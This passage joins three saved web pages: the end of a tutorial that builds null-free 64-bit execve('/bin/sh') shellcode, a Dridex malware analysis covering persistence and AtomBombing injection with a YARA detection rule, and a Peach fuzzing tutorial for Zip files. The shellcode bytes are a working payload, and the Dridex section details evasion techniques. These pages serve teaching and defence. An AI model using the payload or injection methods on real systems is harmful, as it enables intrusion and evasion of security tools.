need to know the starting address of the execve wrapper function. It's even
possible that the program we're attacking didn't use glibc, and the wrapper
function doesn't even exist in the binary. We'll actually talk about this more
in the return-to-libc section.

## The code

So how do we go about turning the above program into a payload that we can
load into a buffer and execute? Let's start by looking at a little assembly...

[code]

    $ gcc -static -o shell shell.c
    $ gdb ./shell
    GNU gdb (GDB) Fedora (7.0.1-44.fc12)
    Reading symbols from /home/turkstra/shell...(no debugging symbols found)...done.
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x00000000004003d4 <main+0>:    push   %rbp
    0x00000000004003d5 <main+1>:    mov    %rsp,%rbp
    0x00000000004003d8 <main+4>:    mov    $0x0,%rdx
    0x00000000004003dd <main+9>:    mov    $0x0,%rsi
    0x00000000004003e2 <main+14>:   mov    $0x46c610,%rdi
    0x00000000004003e7 <main+19>:   callq  0x40ad30 <execve>
    0x00000000004003ec <main+24>:   leaveq
    0x00000000004003ed <main+25>:   retq
    End of assembler dump.
    
[/code]

Make sure you add -static to the compiler flags, otherwise instead of directly
calling execve you'll encounter code for finding it in the shared library.
Regardless, let's break this down some...

[code]

    0x00000000004003d4 <main+0>:    push   %rbp
    0x00000000004003d5 <main+1>:    mov    %rsp,%rbp
    
[/code]

If you recall from the DoS section, when a function is called a number of
things happen. The code above corresponds to main\(\)'s **prelude**. We can
see that RBP, the old stack frame pointer, is pushed onto the stack. Then RBP
is updated to point to the new stack frame \(the current stack pointer, in
RSP\). Next space for the local variables would be allocated if there were
any, and those variables would be set to their initial values, if provided.

[code]

    0x00000000004003d8 <main+4>:    mov    $0x0,%rdx
    0x00000000004003dd <main+9>:    mov    $0x0,%rsi
    0x00000000004003e2 <main+14>:   mov    $0x46c610,%rdi
    0x00000000004003e7 <main+19>:   callq  0x40ad30 <execve>
    
[/code]

Here we're doing a function call to the execve\(\) function provided by glibc.
You can see the three arguments are being passed via RDI, RSI, and RDX. RDI
gets the address of /bin/sh, RSI and RDX get NULL. Let's look at execve\(\)...

[code]

    (gdb) disassemble execve
    Dump of assembler code for function execve:
    0x000000000040ad50 <execve+0>:  mov    $0x3b,%rax
    0x000000000040ad55 <execve+5>:  syscall
    0x000000000040ad57 <execve+7>:  cmp    $0xfffffffffffff000,%rax
    0x000000000040ad5d <execve+13>: ja     0x40ad61 <execve+17>
    0x000000000040ad5f <execve+15>: repz retq
    0x000000000040ad61 <execve+17>: mov    $0xffffffffffffffd0,%rdx
    0x000000000040ad68 <execve+24>: neg    %eax
    0x000000000040ad6a <execve+26>: mov    %eax,%fs:(%rdx)
    0x000000000040ad6d <execve+29>: or     $0xffffffffffffffff,%eax
    0x000000000040ad70 <execve+32>: retq
    End of assembler dump.
    
[/code]

Well, the only part of interest is really the first two lines. We can see it
doesn't even follow a normal function prelude - because the arguments are
already in the correct registers. We simply load the system call number, 59 in
decimal, into RAX. We can verify that this is the correct number by having a
look at /usr/include/asm/unistd\_64.h. Sure enough...

[code]

    #define __NR_vfork                              58
    __SYSCALL(__NR_vfork, stub_vfork)
    #define __NR_execve                             59
    __SYSCALL(__NR_execve, stub_execve)
    #define __NR_exit                               60
    __SYSCALL(__NR_exit, sys_exit)
    
[/code]

Okay, let's pick and choose what we need for our payload...

[code]

    mov    $0x0,%rdx
    mov    $0x0,%rsi
    mov    $(address of "/bin/sh"),%rdi
    mov    $0x3b,%rax
    syscall
    
[/code]

Well that looks pretty simple. The first 3 mov's set up the arguments for
execve, the fourth mov puts its syscall number in RAX, and then we execute
"syscall" to invoke the kernel.

Not so fast\! Presumably we'll include "/bin/sh" as part of the payload. If we
do that, though, how can we find its address? We certainly can't hardcode it.
There are a number of tricks you can play at this point. Probably the easiest
is to simply push "/bin/sh" onto the stack. If you do that, RSP will
automatically be updated to point to it. Sounds easy enough, so we end up
with...

[code]

    mov    $0x0,%rdx
    mov    $0x0,%rsi
    mov    $0x0068732f6e69622f,%rdi
    push   %rdi
    mov    %rsp,%rdi
    mov    $0x3b,%rax
    syscall
    
[/code]

You can see we load the ASCII string "/bin/sh" into RDI, push it, and then
move RSP \(which points to the start of our string\) into RDI, setting up the
first argument for execve.

Well, it would probably be a good idea to test this first. So let's write
another simple program...

[code]

    int main() {
    __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
    );
    }
    
[/code]

Compiling and running it...

[code]

    $ gcc -o go go.c
    $ ./go
    [turkstra@corellia turkstra]$ exit
    $
    
[/code]

Sure enough we get a shell. Now let's figure out the actual byte values for
this payload...

## The payload

[code]

    $ gdb go
    GNU gdb (GDB) Fedora (7.0.1-44.fc12)
    Reading symbols from /home/turkstra/go...(no debugging symbols found)...done.
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x0000000000400474 <main+0>:	push   %rbp
    0x0000000000400475 <main+1>:	mov    %rsp,%rbp
    0x0000000000400478 <main+4>:	mov    $0x0,%rdx
    0x000000000040047f <main+11>:	mov    $0x0,%rsi
    0x0000000000400486 <main+18>:	mov    $0x68732f6e69622f,%rdi
    0x0000000000400490 <main+28>:	push   %rdi
    0x0000000000400491 <main+29>:	mov    %rsp,%rdi
    0x0000000000400494 <main+32>:	mov    $0x3b,%rax
    0x000000000040049b <main+39>:	syscall 
    0x000000000040049d <main+41>:	leaveq 
    0x000000000040049e <main+42>:	retq   
    End of assembler dump.
    (gdb) x/bx main+4
    0x400478 <main+4>:	0x48
    (gdb) 
    0x400479 <main+5>:	0xc7
    (gdb) 
    0x40047a <main+6>:	0xc2
    (gdb) 
    0x40047b <main+7>:	0x00
    (gdb) 
    0x40047c <main+8>:	0x00
    (gdb) 
    
[/code]

Hold up a second... we can't have 0x00's in our string, because a lot of the
time we'll be trying to exploit strcpy\(\) or something similar, and it will
stop when it encounters a NULL\! Let's refactor our code a little bit.

We can get 0x00's by xor'ing things with itself, and we can replace bytes that
are 0 with something else, and then use left and right shifts to turn them
back into 0's. So, we can turn our code above into this...

[code]

    int main() {
    __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
    );
    }
    
[/code]

Okay, now if we go back into gdb and get the values, when it's all said and
done we end up with this...

[code]

    \x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08
    \x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1
    \xe0\x38\x48\xc1\xe8\x38\x0f\x05
    
[/code]

So now we have glorious 64-bit shellcode.

# Dridex AtomBombing in detail « reversingminds's Blog

**Created:**| _9/4/2017 9:40:07 AM_  
---|---  
**Updated:**| _9/4/2017 9:40:07 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

27 days ago

##  Dridex AtomBombing in detail

Dridex has evolved, and now Dridex V4 uses Atom Bombing to perform process
injection.

This method allows Dridex to perform sneaky injections to evade AV solutions.

In this post, we are going to explain how Dridex gain persistence in the
system and how Dridex performs AtomBombing in detail.

## Persistence

This Dridex version uses different techniques to persist into the system.

First the malware enumerates all executable files into the
"C:\Windows\System32\" folder.

<img src='img/RzUUJqSRGqEuw9EGf8lC_enum_exe1.PNG.png' width='438' height='105'
/>

Dridex has a preloaded hash. For each filename, the malicious code calculates
its hash. When the calculated hash matches with the Dridex preloaded hash, the
malware will save the filename to use it later.

<img src='img/O0w2pOpuTCmBmeIQuX8A_finding_file_function.PNG.png' width='800'
height='280' />

In the image below, in r12d we can found the preloaded hash and in RAX the
filename hash, that Dridex is looking for. The malware compares both values.
In this case matchs because the file that the malware was searching was
"optionalfeatures.exe".

<img src='img/vw0cAXf3SPSGdGtl4aU0_file_found.PNG.png' width='800'
height='254' />

After choosing the executable, the malware reads the executable IAT and then
selects a dll from the IAT. The malicious code will do that to use a dll
hijacking technique. \(In RDX we can find the import directory address\).

<img src='img/xu0ykTPaSqxJRjgCyY9i_get_import_directory2.PNG.png' width='205'
height='110' />

<img src='img/1vpnYgTQU6LwoHyu4VnA_get_import_directory.PNG.png' width='546'
height='152' />

When the dll is chosen from the executable IAT, Dridex reads and copies the
EAT from the chosen dll. \(In this case the selected dll is appwiz.dll\).

<img src='img/QZTf9YVaTrOOBrrVq2MH_appwiz.cpl.export.PNG.png' width='303'
height='105' />

<img src='img/wGAxMkNbSRKGR7Y9Pgnm_appwiz.cpl.export2.PNG.png' width='561'
height='155' />

You can find below the function that Dridex uses to obtain the EAT.

<img src='img/40S77oluRvKHSgOlM588_appwiz.cpl.EAT2.PNG.png' width='659'
height='308' />

The EAT is copied into a buffer.

<img src='img/PP8TIjRnmHHOrmYAlawS_EAT.PNG.png' width='482' height='260' />

Once this is done, the malware copies itself and adds a new section into
itself \(This section has a random name\). The dridex copies the obtained
"EAT" in that section.

<img src='img/Ly5pb5O4R4GVLanP9xGE_fake_dll.PNG.png' width='800' height='234'
/>

<img src='img/PCBqOphvS3OB1LBd44uZ_new_section.PNG.png' width='800'
height='358' />

With this technique \(DLL hijacking\) when OptionalFeatures.exe is executed it
will load appwiz.dll but appwiz.dll is a modified copy of dridex.

After get an executable and its modified dll, both files will be saved into
the disk, then some registry keys will be added to execute the binary when the
system boots.

The registry key is added with a random name in
"..\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{randomstring\}"

<img src='img/UoQHxHKqSxGRwfPChBRj_persistence.png' width='724' height='79' />

<img src='img/mffZKMsQTwqNCngCsdCf_persisnece2.PNG.png' width='800'
height='13' />

<img src='img/rE853QxBTd2vHL3dHSUh_persistence4.PNG.png' width='800'
height='393' />

A lnk file into startup folder.

<img src='img/I0i5PGwdTimxPktMPLBB_persistence4.PNG.png' width='800'
height='393' />

Finally the malware copies another two files \(an executable and a modified
dll\) into "C:\Windows\System32\[0-9\]\{4\}" folder and creates a programed
task that will execute that executable each hour.

<img src='img/XDO2lqqZQX6IpEwubpS6_0_schtask.png' width='800' height='578' />

Notice that in each execution Dridex will choose a different executable file
and a different dll for its persistence.

## AtomBombing Injection

AtomBombing injection method is based in APC injection, but in this case, this
method uses the Atoms \(Windows Executive Objects\) to hide and copy the
shellcode into the process objetive.

The use of Atoms make the injection more stealthy because the AV products
usually do not make any check when Atom creation or reading occurs.

In addition, is difficult to analyze in real time, because the malware
analysts are not able to check the Atoms in an easy way, moreover Dridex
delete the atoms during the injection process, making more difficult to obtain
the shellcode via atoms.

In our opinion, we think that is more useful to obtain the shellcode directly
from the injected process, and by that reason we are going to explain all the
process showing the injection from the malicious Dridex DLL to the
explorer.exe.

## What Dridex does?

We are going to explain briefly, what are the steps that Dridex take in order
to perform process injection via AtomBombing.

### Looking for explorer.exe

The first step in this case, is to find explorer.exe, to do this, Dridex uses
"CreateToolhelp32Snapshot"function to create an snapshot of all system
processes, and then it will navigate among the processes using Process32FirstW
and Process32NextW until explorer.exe is found.

### Looking for alertable threads

In this step, an alertable thread is needed to perform APC calls. Because
using APC calls Dridex will be able to execute specific functions into
explorer.exe.

To acomplish this, Dridex will obtain the handle to the process using
OpenProcess function.

The handle will be used to launch NtQueueApcThread function in all the
explorer's threads, setting NtSetEvent as ApcRoutine.

[code]

    NtQueueApcThread(
    
      IN HANDLE               ThreadHandle,
      IN PIO_APC_ROUTINE      ApcRoutine,
      IN PVOID                ApcRoutineContext OPTIONAL,
      IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,
      IN ULONG                ApcReserved OPTIONAL );
    
[/code]

<img src='img/kYMlAEB1QqT6x9JRpLFS_4_NTSETEVENT.png' width='368' height='105'
/>

The first thread that performs NtSetEvent will be the "chosen one" to perform
the APC calls.

In this case, the thread that performed NtSetEvent first was the thread with
0xFC handle.

<img src='img/0ib6FV52T5OB4M4KmcAJ_6_Dridex_Handles.png' width='458'
height='583' />

The handle 0xFC = Thread ID 920 \(decimal\) to hexadecimal 398

<img src='img/dwYtSjztQnWvHwC1aLha_6_2_thred_used_by_dridex_in_explorer.png'
width='688' height='146' />

### Writing the shellcode into explorer.exe

Now with the first thread that replied the APC call, the malicious DLL will
performs the first "NtQueueApcThread" setting ntdll.memset to 0 where the code
will be injected.

<img src='img/nPxteH8gRiaDmcUOGNNa_6_dridex_thread_handle_to_explorer.png'
width='391' height='236' />

Memory of explorer.exe where memset was performed:  

<img src='img/SNGQ2EXQQeuk394P9RVl_6_3_Explorer_after_memset.png' width='586'
height='192' />

Now Dridex will create a new Atom with the first bytes that will be copied
into explorer.exe.

The next function that will be used in conjuction with NtQueueApcThread will
be GlobalGetAtomNameW.

<img src='img/GEAUCmHCT3mdKOOTbhSG_7_GlobalGetAtomNameW.png' width='402'
height='237' />

As we can see, GlobalGetAtomNameW will be used with C06B, that is the name of
the Atom that was created \(used as container\) in order to inject the data
from Dridex.dll to explorer.exe

<img src='img/YGqRGwoCSEiaMkzCbhAX_8_BP_Explorer_GlobalGetAtomNameW.png'
width='800' height='169' />

GlobalGetAtomNameW performed by explorer.exe because of the NtQueueApcThread
call.

<img
src='img/lpCfjSpRRqmkCsdL68Fa_9_explorer_setting_address_mode_on_dump.png'
width='800' height='234' />

Data injected into explorer.exe in 775CAAA0 offset.

<img src='img/gsLc2nJdThq6hDdHTL1Q_10_first_atombombing_write_on_explorer.png'
width='650' height='186' />

#### Shellcode functions

Dridex will continue injecting data into explorer.exe using the same
technique:

<img src='img/EQQ54m1bRUWI3bo55keq_11_final_first_write_functions.png'
width='456' height='203' />

#### Shellcode

When the first code has been injected, it will use memset to set to 0 ->
0x7758c5f0 \(ntdll memory space\):

<img src='img/cYlXeEv0RE67BvaurCWS_12_dridex_memset_second_copy.png'
width='404' height='240' />

<img src='img/p97TXgbmRVGOqKT6yr4k_13_explorer_shellcode.png' width='648'
height='780' />

Then using again AtomBombing it will inject the shellcode:

<img src='img/XJ1iuVyTpOndbpVCoF61_14_explorer_shellcode.png' width='800'
height='746' />

### Modifying GlobalAtomGetAtomNameA to launch the shellcode

Now with all the necessary code injected into explorer.exe, Dridex will call
the shellcode using this sneaky trick:

<img src='img/CQiDJ2eCRxm6EoAgeCfM_15_dridex_GlobalAtomA_mod.png' width='399'
height='238' />

It will modify the original GlobalGetAtomNameA function, so that when
GlobalGetAtomNameA will be called via NtQueueApcThread, the shellcode will be
executed. Once the malicious DLL will launch the shellcode using this trick,
it will restore GlobalGetAtomA.

<img
src='img/S6kGHelBQs6KtgSjjI2u_16_explorer_globalgetatomNameA_original.png'
width='800' height='177' />

<img
src='img/e03FD7R8SDmgr52RQOrQ_17_explorer_globalgetatomnamea_modified.png'
width='800' height='338' />

After all this process, Dridex will check if there is any process opened with
the names iexplorer.exe, chrome.exe, firefox.exe... In order to perform a new
injection into the browser using the same tecnique again.

## Why NTDLL?

ntdll.dll is one of the DLLs that are at the same address system-wide, that
means that its functions addresses will be fixed among all the processes with
the ntdll library loaded.

That makes the injection easier for Dridex, because it only has to know where
the ntdll addresses have been loaded, looking into its process and with that
information, it will perform injections in other processes because the
functions addresses of NTDLL are fixed.

Other important libraries that have fixed addreses are kernel32 and user32.

## Debugging advices, the explorer trick:

If you attach the x64dbg to explorer.exe to analyze the shellcode injected by
the Dridex DLL, you will notice that if you set a break point, all the windows
will be frozen. And if you are using at the same time IDA to create an IDB
could be very annoying.

The way to solve this, is creating other instance of the original
explorer.exe. This could sound of common sense, but you have to know how the
trick works :P.

  1. Copy explorer.exe from C:\Windows\explorer.exe to the Desktop.
  2. Now if you execute explorer.exe you will notice that there is only one explorer.exe in execution \(This not works\)
  3. Change the name of the explorer.exe from the desktop, example "aaaa.exe" and execute it, as you can see, now you have two explorer.exe instances in execution \(the name "aaaa.exe" will be changed to "explorer.exe"\)
  4. Now we have two instances of explorer.exe but we want that the Dridex DLL only performs the injection routine into the new explorer.exe, to achive this we have to the next:
  5. We have to open the malicious Dridex DLL with x64dbg \(set a bp in "NtQueueAPCThread"\), then we have to attach our x64dbg to the new explorer.exe created and set a break point into "GlobalAtomGetAtomNameW".
  6. Then, using the task manager, we have to close the first explorer.exe and run the x64dbg with Dridex DLL until "NtQueueAPCThread".
  7. At this point, Dridex will be inject the shellcode in our explorer.exe. 
  8. Now we want to recover our pretty desktop, to perform that, you have to open the task manager, launch a cmd and run explorer.exe. You will notice that you can navigate among all the windows, set bp into explorer.exe without froze all the desktop and complete your IDB in IDA Pro without any problem.
  9. Run Dridex Dll x64dbg and start you analysis\!

## AtomBombing will be used in the future by other malware developers?

In our opinion, this injection method is very useful and difficult to hunt if
you do not understand how AtomBombing works, because Atoms are Windows
Executive Objects and there are few tools able to capture their changes in a
comfortable way.

Moreover the method that Dridex uses do not perform any ROP like the original
POC, in this case it modifies the original function "GlobalAtomGetAtomNameA"
to launch the shellcode, making the implementation process easier but less
stealthy.

## Yara Rule

[code]

    rule Dridex : banker
    {
        meta:
          author = "51ddh4r7h4 & D00RT"
          date = "2017/08/01"
          description = "Dridex V4"
          reference/source = "http://reversingminds-blog.logdown.com"
          sample = "c19a33ec0125d579c4ab695363df49f7"
          in_the_wild = true
    
        strings:
            $a = {48 83 EC 18 B8 41 45 38 09 C7 44 24 10 E1 28 71 01 8B 54 24 10 29 D0 89 44 24 0C 81 7C 24 0C 57 E4 75 2A 89 4C 24
                  08 89 54 24 04 75 00 8B 44 24 08 89 04 24 8B 0C 24 65 67 48 8B 11 44 8B 44 24 04 41 81 C0 B4 AE 33 78 44 89 44 24
                  14 48 89 D0 48 83 C4 18 C3 66 66 2E 0F 1F 84 00 00 00 00 00 48 83 EC 38 48 C7 44 24 30 70 D1 E6 75 48 8B 44 24 30
                  48 35 21 50 E2 06 48 3D 48 39 05 15 72 0F B9 30 00 00 00 48 83 C4 38 48 E9 71 FF FF FF B9 76 A0 92 6C E8 67 FF FF
                  FF 31 C9 89 CA 48 89 44 24 28 48 89 D0 48 83 C4 38 C3 66 0F 1F 44 00 00 48 83 EC 38 C7 44 24 34 85 1B 96 21 8B 44
                  24 34 89 44 24 2C E8 97 FF FF FF 8B 4C 24 2C 81 E1 E0 CA 13 57 89 4C 24 30 8B 4C 24 2C 81 F9 7A 6B 6F 57 48 89 44
                  24 20 75 00 8B 44 24 2C 35 55 36 B4 45 89 44 24 30 48 8B 4C 24 20 48 8B 41 60 48 83 C4 38 C3 66 66 66 66 2E 0F 1F
                  84 00 00 00 00 00 48 83 EC 40 44 88 C8 41 B9 DC 96 50 30 45 89 CA 48 C7 44 24 28 5A 5B 6C 45 44 8B 4C 24 3C 41 81
                  C1 AC 6F 55 46 44 89 4C 24 3C 4C 8B 5C 24 28 48 89 4C 24 10 4C 89 D9 49 D3 E2 4C 89 54 24 20 49 81 FB D2 F4 A4 6B
                  48 89 54 24 08 88 44 24 07 44 89 04 24 77 33 B8 3B 48 13 64 C7 44 24 18 6E 8B 6E 1D 8B 0C 24 89 CA 41 89 D0 4C 89
                  44 24 30 4C 8B 44 24 30 4C 8B 4C 24 08 47 8A 14 01 44 88 54 24 1F 3B 44 24 18 75 00 48 8B 44 24 30 8A 4C 24 1F 8A
                  54 24 07 28 D1 4C 8B 44 24 10 41 88 0C 00 48 83 C4 40 C3 66 66 2E 0F 1F 84}
    
        condition:
            $a 
    }
    
[/code]

## Summary

<img src='img/ABr9SgrFQKSzeT1697Tc_1__.png' width='743' height='800' />

<img src='img/xYGnxyrSCyn0ATQH2xVl_2__.png' width='743' height='800' />

Authors: @51ddh4r7h4, @D00RT

← Can be a "legitimate" program an APT?  
---  
__Tweet

  * __ August 08, 2017 18:02 
  * __ Permalink 

  

# Fuzzing with Peach – Part 1 « Flinkd\!

**Created:**| _7/15/2011 3:03:20 PM_  
---|---  
**Updated:**| _10/30/2012 10:47:57 AM_  
**Author:**| __  
**Tags:**| _Fuzzer programming awesome_  
  

## Fuzzing with Peach – Part 1

by pyoor under Fuzzing

  

For the past several months I’ve been doing a fair amount of work with the
Peach fuzzing framework. At times \(many in fact\), I’ve struggled with
performing somewhat basic tasks with Peach but with a little perseverance and
a lot of help \(thanks Mike and Mikhail\), I’ve been able to develop some
fairly complete Peach templates. In an attempt to save those of you just
beginning with Peach, I thought I’d put together a few short tutorials to help
expose some of the more advanced features within the framework.

If this is your first time hearing of the Peach fuzzing framework, I invite
you to take a look at the Peach project page.

I would also like to mention that this tutorial will be very similar to the
one provided by Mike Eddington, on creating a Peach template for parsing WAV
files. That document can be found here, at the Peach project page.

Contents

  * Getting Started
    * Peach Structure
  * Zip File Format
    * A. Local file header
      * Block Parameters
      * Basic Elements
      * String Parameters
      * Number Parameters
      * Size Relations
    * B. File data
    * C. Data Descriptor
      * When Relations
      * Choice Element
      * Constraints
    * D. Archive Decryption Header
    * E. Archive Extra Data Record
    * F. Central Directory Structure
    * G. Zip64 End of Central Directory Record
    * H. Zip64 End of Central Directory Locator
    * I. End of central directory record
  * Fuzzer Configuration
    * StateModel
    * Agent
    * Test Block
    * Run Block
  * Testing Our Fuzzer
  * Code Coverage
    * minset
    * Random Mutation Strategy
    * Running Our Fuzzer

## Getting Started

For this tutorial, we’ll be looking at the Zip file format. We’ll try and
define a Peach template that covers as much functionality defined in the
specification as possible. The latest Zip file format specification can be
found here.

In order to instruct Peach on what we’d like to fuzz, we’ll begin by creating
a Peach Pit, an XML based file that provides Peach with the structure of our
data, how we’d like it fuzzed, and what application we’d like to target. A
Peach Pit is comprised of 5 main sections:

### Peach Structure

  * **DataModel**
    * The DataModel is the element within our pit that we’ll use to define the structure of our data. In this case, we’ll use the DataModel to provide Peach with the structure, layout, and functionality of the Zip file format. We also have the ability within the DataModel to inform Peach which elements we do and do not want to fuzz \(fuzzable elements can also be defined in the Test block\).
  * **StateModel**
    * The StateModel is responsible for managing the flow of data during the fuzz process.
  * **Agents**
    * The Agents are used for monitoring the behavior of an application during the fuzz process. This includes capturing data related to application state and any crashes that may be triggered during the fuzz process.
  * **Test Block**
    * The Test Block is responsible for correlating the configuration of the StateModel, Agents, and Publishers \(responsible for managing the data generated by the DataModel\) into a single test case.
  * **Run Block**
    * The Run Block is used for defining a single or multiple test cases. This block also manages logging of any data generated by the Agents during the fuzz process.

  
To begin, we’ll start by making a copy of the FileFuzzerGui.xml template
located in C:\\\(Path-to-Peach-installation\)\samples\FileFuzzerGui.xml and
save it as zip.xml. Looking at this template we can see a very simple
DataModel has already been defined which will simply generate the String
“Hello World\!” We’re going to remove that string and rename our DataModel to
“Zip.” You should have something similar to the following:

1 2 3 |  `<``DataModel` `name``=``"Zip"``>` `</``DataModel``>`  
---|---  
Within each DataModel, Peach allows several XML elements to define the
structure and type of data we intend to generate or parse. I’ll go introduce
each element needed to create our Zip file fuzzer as we need them. For now,
let’s take a look at the file specification so that we can develop a plan for
defining our Pit. Let’s scroll down to the section labeled “Overall .Zip file
format.”

Looking at the file format we see that a Zip file is compromised of a number
of sections beginning with a “Local File Header.” The Local File Header is
followed by a “File Data” section which is in turn followed by another section
called the “Data Descriptor.” It also appears that according to the
specification, these three sections can occur multiple times, in this order,
before we meet our next section, the “Archive Decryption Header”. Before we go
any further, let’s see if we can create a rough definition for the first 3
sections.

## Zip File Format

### A. Local file header

Now when creating a file definition in Peach, several XML elements are
available to us which allow us to structure our data and define the type of
data to be handled or generated. Referencing the spec, we see that we’ll have
multiple sections which represent an individual part of the Zip file format.
It would be great if we had an XML element that would allows us to segment
each section from the next. Luckily, we do. Peach defines a <Block> XML
element which allows us to create groupings of data so that we can define
specific instructions for that group or “block”. Each XML element as you might
have guessed also has several parameters which can be assigned to that
element. For our purposes, we’ll be using the following block parameters:

#### Block Parameters

  * **name**
    * The name parameter simply allows us to create a unique name for our block \(and in fact, nearly all elements utilize the “name” parameter\). This allows us to reference this name later when performing more advanced functions.
  * **minOccurs**
    * This parameter defines the minimum number of times our block should occur. Defining a minOccurs value of 0 will inform Peach that this block may be optional, and might not occur at all. Assigning a value of 10, as you would expect, informs Peach that we must use this block atleast 10 times.
  * **maxOccurs**
    * The maxOccurs parameter, much like minOccurs, defines the maximum number of times our block will appear. Using these two parameters are useful when we have an element that may occur more than once.

Now remember, when looking at the “Overall .Zip File Format” we noticed that
each Zip file will begin with a Local File Header, File Data, and Data
Descriptor sections \(blocks\) which may occur more than once \(as a group\).
Let’s begin by creating a block within our Data Model to represent our Local
File Header and inform Peach that this block must occur atleast once and may
occur multiple times. For the purpose of this article, let’s define a
maxOccurs of 1024 \(although in all liklihood you will never reach this number
unless your Zip file contains more than 1024 compressed files\).

1 2 3 4 |  `<``DataModel` `name``=``"Zip"``>` ` ``<``Block` `name``=``"LocalFileHeader"` `minOccurs``=``"1"` `maxOccurs``=``"1024"``>` ` ``</``Block``>` `</``DataModel``>`  
---|---  
Good. Now that we’ve created a block to hold our Local File Header, let’s go
ahead and provide Peach with the structure of this section.

Looking at the specification we see that the Local File Header is compromised
of 13 elements which we’ll need to define in our Pit. For this section, I’m
going to discuss each element and what we’ll need to do to define it in Peach.

#### Basic Elements

Peach primarily uses 4 elements for representing data:

  * **String**
    * The <String> element is typically used to represent strings of text, or human readable data. If you recall from the FileFuzzerGui template, Peach defined a String element that would print out “Hello World\!”. Strings are very flexible and can even be used to represent numbers using the <Hint> child-element, however the same fuzz logic \(mutations\) will not be applied had you used the &ltNumber> element instead.
  * **Number**
    * As you would expect, the <Number> element is used to represent numerical data. The number element should be used any time we we expect a field to contain only numerical data. If we think that the field might contain alphanumerical data, a string might be better suited.
  * **Flags**
    * The <Flags> element is used to represent bit flags. It has a child element, “Flag” which is used to define each bit, or bit range in a bit flag.
  * **Blob**
    * The <Blob> element can be thought of as our last resort. Blobs are typically used to represent binary data that we lack a proper definition for.

Further information on these and other Peach elements can be found here at the
Peach project page.

Now back to our spec. Our first element, the local file header signature, is a
4 byte field which will always contain the hex value, 0x04034b50. In ASCII,
this appears as “PK..” which is a magic number reference to PKWare, the
creator of the Zip File format. Let’s go ahead and create a definition for
this inside our “LocalFileHeader” block. We know that this field is alpha-
numeric, will contain the hex value “0x04034b50″, and will also be used to
signify the start of the Local File Header. Knowing this, we can go ahead and
use the string element to define this field.

> \*\*\*This element can easily be represented as a <Number> element, however
> for this tutorial we’ll use a <String> to demonstrate its use.
1 |  `<``String` `name``=``"lfh_Signature"` `value``=``"504b0304"` `valueType``=``"hex"` `token``=``"true"` `mutable``=``"false"``>`  
---|---  
So as with the block element, we’ve gone ahead and created a unique name for
this element in the case we need to reference it later in our DataModel. We
also see that we’ve defined 3 new parameters.

> \*\*\*It’s good practice to name all elements where possible.
#### String Parameters

  * **value**
    * This parameter tells Peach what value it should expect to see to match this field. Specifying a value also inherently provides Peach with a length for the string.
  * **valueType**
    * This parameter lets Peach know how to interpret our data. Had the Local File Header Signature been the word “Hello”, we could have entered this directly, ignoring the valueType parameter \(or specified valueType=”string”\). Since we defined a hex value, we would need to specify a hex valueType otherwise Peach will literally interpret this as the text string 504b0304.
  * **Token**
    * This parameter informs Peach that this string must exist and that Peach will need to identify it before continuing with the rest of the block. If a match doesn’t occur, Peach will move on to the next block in our DataModel.
  * **mutable**
    * This parameter tells Peach whether or not to fuzz this field. By setting this parameter to false, we instruct Peach not to modify this field directly, however this does not mean that this data will not be overwritten by neighboring fuzzed fields. In this example, we’ve chosen to mark this field as unmutable because most Zip Applications will automatically discard files with corrupted signatures.

Hopefully that’s not too confusing. Let’s go ahead and take a look at our next
field, “Version Needed to Extract”. We don’t have a great deal of information
on this field except that it is 2 bytes in length. Looking at section J,
“Explanation of Fields”, we see that this field will contain numerical data to
represent the version number. Although the specification displays this field
value as a decimal, it is actually represented as a whole number \(2.0 ==
20\). So knowing this, let’s see if we can’t define this field in our Pit.
We’ll place it in the Local File Header block directly below our signature.

1 |  `<``Number` `name``=``"lfh_Ver"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``/>`  
---|---  
Ok, well we see once again that we’ve provided a unique name for this element
but we’ve also added 3 new parameters. Let’s briefly discuss these new
parameters.

#### Number Parameters

  * **size**
    * The size parameter, as you might have guessed defines the size of our element. When using the Number element, sizes are defined in bits rather than bytes just as you would in most programming languages \(think Byte, Word, DWord, QWord\).
  * **endian**
    * The endian parameter defines the byte-order of our number. This parameter is somewhat unnecessary in our case as Peach automatically defaults to little endian.
  * **signed**
    * This parameter determines the signedness \(signed or unsigned\) of our number. If this option is not specified, Peach defaults to true.

Excellent. Let’s continue on by looking at the third field, the “general
purpose bit flag.” As we discussed earlier, theelement can be used to
represent bit flag data. Looking at this section of the spec, we don’t have a
great deal of information about this bit flag, but enough to get us started.
Let’s go ahead and create a 2 byte bit flag.

1 2 |  `<``Flags` `name``=``"lfh_BitFlag"` `size``=``"16"` `endian``=``"little"` `signed``=``"false"``>` `</``Flags``>`  
---|---  
You may have noticed that as with our number element, bit flags define size in
bits rather than bytes. We’ve also gone ahead and defined the byte-order and
signedness of this flag.

As I mentioned before, the “Flags” element has a child element “Flag” used to
represent each bit or bits in a bit-flag. We still don’t have enough
information to map out these bits just yet so let’s go ahead and return to
section J in our specification and find the definition for “General Purpose
Bit Flag.”

